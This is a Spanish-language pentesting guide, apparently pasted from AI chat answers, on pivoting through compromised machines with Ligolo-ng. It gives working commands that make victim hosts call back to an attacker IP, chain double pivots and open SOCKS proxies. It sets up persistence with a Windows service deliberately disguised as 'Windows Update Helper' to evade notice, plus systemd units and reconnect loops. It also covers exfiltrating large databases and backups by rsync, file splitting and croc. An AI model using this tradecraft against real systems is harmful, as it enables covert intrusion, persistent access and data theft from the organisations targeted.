Guía de Pivoting con Ligolo-ng
Guía de Pivoting con Ligolo-ng
Si estás trabajando con Ligolo-ng (asumo que te refieres a la versión "Next Gen", que es la estándar hoy en día) en Kali Linux, estás usando una de las herramientas más potentes y ligeras para hacer pivoting durante un Pentest.
A diferencia de los túneles SSH tradicionales o Chisel, Ligolo crea una interfaz de red tun/tap, lo que te permite usar herramientas como nmap de forma nativa sin configurar proxies en cada comando.
Aquí tienes una guía rápida en español para ponerlo en marcha:
1. Preparación en Kali Linux (Proxy)
Primero, necesitas preparar tu máquina de atacante.
Instalación: Descarga el binario del GitHub oficial.
Configurar la interfaz: Ejecuta estos comandos para crear el túnel que recibirá la conexión:
Bashsudo ip tuntap add user $(whoami) mode tun ligolo sudo ip link set ligolo upEjecutar el Proxy:
Bash./proxy -selfcert
2. Ejecución en la Víctima (Agent)
Transfiere el binario agent a la máquina comprometida y conéctate a tu IP de Kali:
# En la máquina víctima (Windows o Linux)
./agent -connect <TU_IP_KALI>:11601 -ignore-cert
3. Establecer el Túnel
Vuelve a tu terminal de Kali donde corre el Proxy y verás que un agente se ha conectado.
Escribe
sessiony selecciona el número de sesión (ej.1).Escribe
startpara iniciar el túnel.¡Paso Crucial! Debes añadir la ruta en tu Kali para que sepa cómo llegar a la red interna de la víctima:
Bash# En una nueva terminal de Kali: # Si la red interna es 10.10.10.0/24 sudo ip route add 10.10.10.0/24 dev ligolo
Ventajas de usar Ligolo-ng
Velocidad: Es extremadamente rápido comparado con SOCKS4/5.
Simplicidad: No necesitas
proxychains. Simplemente lanzasnmap 10.10.10.5y funcionará directamente.Soporte ICMP: Puedes hacer
pinga las máquinas de la red interna.
¿Qué necesitas hacer ahora?
Si estás teniendo problemas con la conexión o necesitas los comandos específicos para Windows (como la creación de rutas inversas), dímelo y te ayudo a configurarlo.
El Double Pivoting (o salto doble) es donde Ligolo-ng realmente brilla por su sencillez. Imagina que ya estás en la Red A y descubres una Red B a la que solo tiene acceso una segunda máquina víctima.
Aquí tienes el esquema táctico para lograrlo:
El Escenario
Kali: Tu IP.
Víctima 1 (V1): Tiene acceso a la Red A ($10.10.10.0/24$) y a la Red B ($192.168.50.0/24$).
Víctima 2 (V2): Está en la Red B y quieres llegar a ella desde tu Kali.
Paso 1: Configurar el Salto Inverso en V1
Para que la segunda víctima (V2) pueda llegar a tu Kali, debe pasar a través de V1. Como ya tienes una sesión de Ligolo con V1, vamos a crear un Listener.
En la consola de Ligolo de tu Kali (en la sesión de V1), escribe:
listener_add --addr 0.0.0.0:11601 --to 127.0.0.1:11601¿Qué hace esto? Abre el puerto 11601 en V1. Cualquier cosa que llegue ahí será redirigida por el túnel hacia el Proxy en tu Kali.
Paso 2: Ejecutar el Agente en V2
Ahora, desde la segunda máquina comprometida (V2), te conectas a la IP de V1:
# En V2 (apuntando a la IP de V1 en la Red B)
./agent -connect 192.168.50.10:11601 -ignore-cert
Paso 3: Gestionar la Nueva Sesión en Kali
En tu terminal de Kali verás un aviso de que hay una nueva sesión disponible.
Escribe
sessionpara ver las dos conexiones.Selecciona la nueva sesión (ej.
session 2).Escribe
start.
Paso 4: Enrutar la Red B en Kali
Para que tus herramientas (nmap, crackmapexec, etc.) sepan llegar a la red profunda, añade la ruta en tu sistema operativo:
# En una terminal nueva de Kali
sudo ip route add 192.168.50.0/24 dev ligolo
Resumen de la cadena
Kali $\rightarrow$ interfaz ligolo $\rightarrow$ V1 (Listener) $\rightarrow$ V2 (Agente)
Tips de Pro:
Nombres de Interfaz: Si vas a hacer muchos saltos, puedes crear interfaces tun adicionales (
ligolo2,ligolo3) para no mezclar el tráfico, aunque con una sola suele bastar si gestionas bien las rutas de IP.Transferencia de archivos: Una vez establecida la ruta, puedes usar
python3 -m http.serveren tu Kali y descargar archivos en V2 usando directamente tu IP de Kali. ¡Magia!
La persistencia es clave porque, si la máquina se reinicia o el proceso se detiene, perderás todo el acceso a las redes internas que acabas de configurar.
Aquí tienes cómo automatizar el Agente de Ligolo-ng para que se ejecute solo, dependiendo del sistema operativo de la víctima:
1. Persistencia en Windows (Servicio de Sistema)
Esta es la forma más profesional y discreta. El agente se ejecutará cada vez que Windows arranque, incluso antes de que alguien inicie sesión.
Desde una terminal de PowerShell con privilegios de Administrador:
# 1. Creamos el servicio (ajusta la ruta donde tengas el exe)
New-Service -Name "WinUpdateSvc" -BinaryPathName "C:\temp\agent.exe -connect <TU_IP_KALI>:11601 -ignore-cert" -DisplayName "Windows Update Helper" -StartupType Automatic
# 2. Lo iniciamos
Start-Service "WinUpdateSvc"
Nota: He usado un nombre de visualización genérico ("Windows Update Helper") para que pase desapercibido en el Administrador de Tareas.
2. Persistencia en Linux (Systemd)
Si la víctima es un servidor Linux, lo ideal es crear un archivo de unidad de systemd.
Crea el archivo de configuración:
nano /etc/systemd/system/ligolo.servicePega el siguiente contenido (ajustando rutas e IP):
Ini, TOML[Unit] Description=Ligolo-ng Agent After=network.target [Service] Type=simple ExecStart=/tmp/agent -connect <TU_IP_KALI>:11601 -ignore-cert Restart=on-failure RestartSec=5 [Install] WantedBy=multi-user.targetHabilita y arranca:
Bashsystemctl enable ligolo.service systemctl start ligolo.service
3. Bonus: Script de Reconexión (Bash)
Si no tienes permisos de root/admin, puedes usar un bucle simple en segundo plano para que, si la conexión se cae, el agente intente reconectar cada 30 segundos:
while true; do /tmp/agent -connect <TU_IP_KALI>:11601 -ignore-cert; sleep 30; done &
Un detalle importante sobre el Double Pivoting:
Recuerda que si el V1 (el que hace de puente) se reinicia, el túnel hacia V2 se romperá automáticamente. Por eso, siempre prioriza asegurar la persistencia en el "Salto 1" antes de profundizar demasiado.
Usar una Web UI (interfaz gráfica) para Ligolo-ng te permite visualizar todos tus túneles, sesiones y transferencias de datos de un vistazo, lo cual es de gran ayuda cuando el Double Pivoting se vuelve complejo.
A partir de las versiones más recientes, el proxy de Ligolo-ng ya incluye un servidor API que podemos aprovechar.
1. Preparar el Proxy con API
Para que la interfaz web pueda comunicarse con el proxy, debes ejecutar el proxy en tu Kali indicando un puerto para la API (por defecto el 127.0.0.1:11602):
# En tu Kali
./proxy -selfcert -laddr 0.0.0.0:11601
2. Usar Ligolo-ng Web UI
Hay varios proyectos en GitHub que ofrecen dashboards para Ligolo. El más popular es el de nicocha30 (el autor original).
Pasos para lanzarlo:
Descarga el binario de la Web UI desde el repositorio oficial.
Ejecútalo en tu Kali:
Bash./proxy-guiAbre tu navegador en
http://localhost:11602.
3. Qué verás en la Interfaz
Active Sessions: Un listado de todas las máquinas (V1, V2, etc.) conectadas.
Tunnel Status: Si el túnel está
RunningoStopped.Remote Routes: Qué redes internas están siendo alcanzadas a través de cada agente.
Traffic Graphs: Gráficos en tiempo real de cuánto ancho de banda estás consumiendo (ideal para no saturar conexiones lentas).
⚠️ Un último consejo de "Pentester"
Cuando hagas Double Pivoting, la latencia aumenta. Si notas que nmap va muy lento hacia la Red B:
Usa el flag
-T4o incluso-T3(no seas demasiado agresivo).Usa
--top-ports 100en lugar de escanear los 65535 puertos de golpe.Si usas herramientas como BloodHound, lánzalas por secciones para no congelar el túnel.
Aunque Ligolo-ng funciona de maravilla a nivel de red (capa 3), a veces necesitas un Proxy SOCKS5 (capa 7) para herramientas específicas como:
FoxyProxy (para navegar por webs internas desde Firefox).
Burp Suite (para interceptar tráfico de aplicaciones en la red profunda).
Metasploit (algunos módulos prefieren
Proxies).
Aquí tienes cómo activar el servidor SOCKS5 integrado en el propio Proxy de Ligolo:
1. Activar SOCKS5 en el Proxy de Kali
Cuando lances el proxy en tu máquina Kali, simplemente añade el flag -socks:
# Lanza el proxy con el puerto SOCKS 1080 (o el que prefieras)
./proxy -selfcert -socks 127.0.0.1:1080
Nota: Si ya tienes el proxy corriendo, tendrás que reiniciarlo con este parámetro. No te preocupes, los agentes (V1, V2) suelen intentar reconectarse automáticamente si tienes configurada la persistencia que hicimos antes.
2. Configurar tus Herramientas en Kali
Ahora que el puerto 1080 de tu Kali es una puerta de entrada a las redes de las víctimas, configúralo así:
Para el Navegador (FoxyProxy):
Tipo: SOCKS5
IP:
127.0.0.1Puerto:
1080DNS: Activa "Proxy DNS" para que puedas resolver nombres de dominio internos (si la Red A/B tiene un Active Directory).
Para Herramientas de Terminal (Proxychains):
Si por alguna razón prefieres no usar la interfaz ligolo directamente, edita tu archivo de configuración:
sudo nano /etc/proxychains4.conf
Al final del archivo, añade:
socks5 127.0.0.1 1080
3. Combinación Ganadora: Tun + SOCKS
Lo mejor de Ligolo-ng es que puedes usar ambos a la vez:
Usa la Interfaz TUN (
ligolo) para escaneos rápidos connmapocrackmapexec.Usa el SOCKS5 para navegar por una intranet o usar Burp Suite en un objetivo específico.
Un truco de experto (Dynamic Port Forwarding)
Si estás en una sesión de Double Pivoting (V1 $\rightarrow$ V2) y quieres que el SOCKS apunte directamente a la Red B (la más profunda):
En la Web UI o en la consola, asegúrate de tener seleccionada la Sesión de V2.
El tráfico que envíes al puerto 1080 de tu Kali viajará automáticamente por toda la cadena hasta salir por V2.
Cuando te enfrentas a la exfiltración de archivos pesados (Gigas de bases de datos, backups o dumps de memoria) a través de un túnel de Ligolo-ng, el mayor enemigo es la corrupción de datos por micro-cortes y la lentitud del protocolo TCP sobre TCP.
Para hacerlo de forma profesional y segura, olvida el simple python3 -m http.server. Aquí tienes las tres mejores estrategias:
1. El Método "Resumible" (Rsync sobre Ligolo)
Si el archivo es muy grande y la conexión se corta al 90%, no querrás empezar de cero. Rsync permite reanudar la transferencia.
En tu Kali (Receptor):
Asegúrate de tener el servicio SSH activo o usa un servidor rsync simple.
En la Víctima (Linux):
Aprovecha que Ligolo ya te da una ruta directa a tu IP de Kali:
Bash# El flag -P muestra progreso y permite reanudar (--partial --progress) rsync -avP /ruta/archivo_pesado.zip user@<TU_IP_KALI>:/home/user/exfil/
2. Compresión y Fragmentación (El truco del Pentester)
Nunca muevas un archivo pesado "en crudo". Es mejor dividirlo en trozos pequeños. Si uno falla, solo reenvías ese trozo.
En Windows (PowerShell + 7zip o Compress-Archive):
Si no tienes 7zip, usa este comando nativo para dividirlo en partes de 100MB:
$archivo = "C:\backup.bak"
$bytes = [System.IO.File]::ReadAllBytes($archivo)
$i = 0
$size = 100MB
while ($i -lt $bytes.Length) {
$chunk = $bytes[$i..($i + $size - 1)]
[System.IO.File]::WriteAllBytes("C:\temp\parte_$($i/$size).dat", $chunk)
$i += $size
}
En Linux:
# Comprimir y dividir en trozos de 100MB
tar -czf - /home/db_data | split -b 100M - /tmp/db_part_
3. Uso de Croc (Velocidad y Seguridad)
Croc es una herramienta excelente que funciona de maravilla a través de los túneles de Ligolo porque maneja su propio control de errores y usa cifrado PAKE.
En tu Kali:
croc receiveEn la Víctima:
croc send archivo.zip
4. Optimización del Túnel Ligolo para Tráfico Pesado
Si vas a mover mucha carga, el agente de Ligolo puede consumir mucha CPU o ser detectado por anomalía de tráfico.
MTU: Si notas que la conexión es inestable, ajusta el MTU de la interfaz
ligoloen tu Kali a 1450 o 1400 para evitar fragmentación de paquetes IP:Bashsudo ip link set dev ligolo mtu 1400Prioridad: Si estás en un Double Pivot, la exfiltración desde V2 será mucho más lenta. Intenta mover el archivo primero de V2 a V1 (red interna local, muy rápido) y luego de V1 a tu Kali.